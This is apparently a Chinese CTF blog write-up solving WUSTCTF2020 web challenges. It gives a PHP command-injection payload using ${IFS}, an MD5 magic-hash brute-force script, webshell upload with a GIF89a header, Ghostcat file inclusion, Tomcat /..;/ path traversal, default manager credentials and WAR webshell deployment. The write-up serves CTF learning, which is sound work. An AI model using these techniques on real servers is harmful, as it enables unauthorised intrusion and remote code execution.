buu冲冲冲???~

[WUSTCTF2020]朴实无华

首页只有一句HackMe,尝试查看robots.txt,得到关键信息:

User-agent: *
Disallow: /fAke_f1agggg.php

仔细看响应头,得到f14g.php,访问:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

level 1:传入的数既要小于2020又要+1后大于2021,可以用科学计数法来绕过。比如1e9。intval函数有个特性:“直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换”。而intval($num + 1)则涉及到字符和数字的相加,因为num是科学计数法形式,它会先转成数字形式再加1。

<?php
$num = '1e9';
echo intval($num);    //1
echo "\n";
echo intval($num + 1);    //1000000001
?>

level 2:有点懵,传入的值和传入的值的md5要相等。可以用一个0e开头的字符串进行碰撞,当它的md5值开头也为0e,并且仅由数字组成的时候就可以绕过了。

然后nmd,爆了好久:

import hashlib
import re

for i in range(0,1000000000000):
    strr = "0e"+str(i)
    md5 = hashlib.md5(strr.encode('utf-8')).hexdigest()
    if (re.findall('^0e(.*?)',md5) and md5[2:].isdigit()):
        print(strr+": "+md5)
#0e215962017: 0e291242476940776845150308577824

get flag:过滤空格和cat的命令执行,cat可以用我最爱的strings来代替,空格可以用${IFS}来代替。

最后的payload如下:

/?num=1e9&md5=0e215962017&get_flag=strings${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[WUSTCTF2020]颜值成绩查询

https://www.shawroot.cc/archives/634

[WUSTCTF2020]CV Maker

没有robots.txt,扫描敏感路径也无果,在首页注册一个账号,然后登录:

仅有上传头像这里是可以交互的,测试一下文件上传。这道题检测了exif_imagetype,所以文件前面要加上GIF89a。(我太讨厌文件上传题了Q Q

上传成功,复制图像地址,然后连接:

根目录下找到flag:

[WUSTCTF2020]easyweb(未完成)

可以任意上传文件,但是无法执行。随便上传一张图片,返回路径如下:

文件包含漏洞常见的参数名就是file,看到这个参数名就试一下,不过不好使qwq

尝试直接读取/etc/passwd成功:

学习了一下别的师傅的WP,可以配合幽灵猫漏洞文件包含,这里我这几天再学习补充一下:

幽灵猫漏洞不仅可以文件读取,还可以文件包含(某些PoC只能读取不能包含)。我们可以任意上传JSP木马并得知路径,只要通过AJP包含这个jsp就能执行里面的代码,就通过文件包含实现了RCE。

CVE-2020-1938幽灵猫利用脚本下载:

https://github.com/00theway/Ghostcat-CNVD-2020-10487

这道题还存在一个非预期解,不过这个非预期在BUU上已经复现不了了。BUU这道题需要使用内网的 Linux Lab 靶机来访问本题的 8009 端口,尝试了下,不知道VNC怎么拖文件,内网也下不了这个脚本,还望师傅们指点我一下这道题T T。

[WUSTCTF2020]Train Yourself To Be Godly

这道题真nm酸爽。

给了一个Apache Tomcat WebSocket Examples(。。?

参考官方WP学习了新知识点,这道题首先考了TOMCAT 目录穿越

上图可知,Nginx 会解析 /a;evil/b/,并认为这是一个合法的目录请求,而 Tomcat 做解析的时候会自动忽略掉脏数据 ;.*,所以 Tomcat 对此的解析是 /a/b/。也就是说我们从可以通过写 ;+脏数据的方式绕过 Nginx 的反向代理,从而请求本不应该能请求到的非法路径。对于本题来说,我们可以构造路径 /..;/,Nginx 会认为我们要访问服务器的 /..;/ 目录下的内容,从而将这个请求视为合法请求发送给后端的 Tomcat 解析,Tomcat 接受之后认为 ; 是脏数据,从而过滤掉,解析的路径就变成了 /../ 也就是上级目录。所以访问 /..;/manager/html 之后我们就成功进入了后台界面。

Tomcat的默认后台路径就是http://…/manager/html,根据上述内容,构造/..;/manager/html,成功弹出后台登录框。

Tomcat的默认口令如下:

账号:admin 密码:admin或空;

账号:tomcat 密码:tomcat

这道题输入账号tomcat密码tomcat即可,成功进入Manager后台,开始部署jsp大马。Tomcat默认支持热部署(就是不用重启就能执行你部署的war包)。

WAR file to deploy部署,抓包后返回404,原因是url里自动加了个examples,删掉继续,返回了401。

这个地方涉及一个知识点:Authorization Bassic是401验证,用base64加密的,格式为Authorization: Basic base64-encode(username:password),所以这道题应该加一个

Authorization: Basic dG9tY2F0OnRvbWNhdA==

很好,这次返回403啦。。

返回403的原因是没有权限,需要抓到Set-Cookie,这里卡了好久,非!常!感!谢Match师傅教会了我一个骚操作(猫猫头

访问/..;/manager/html/然后刷新,f12,存储这里修改一下:

把Path改成如图的/..;/manager,再上传war包部署,别忘记Authorization验证和这个Cookie。

因为war包叫test2.war,里面的内容是2.jsp,所以访问/..;/test2/2.jsp即可。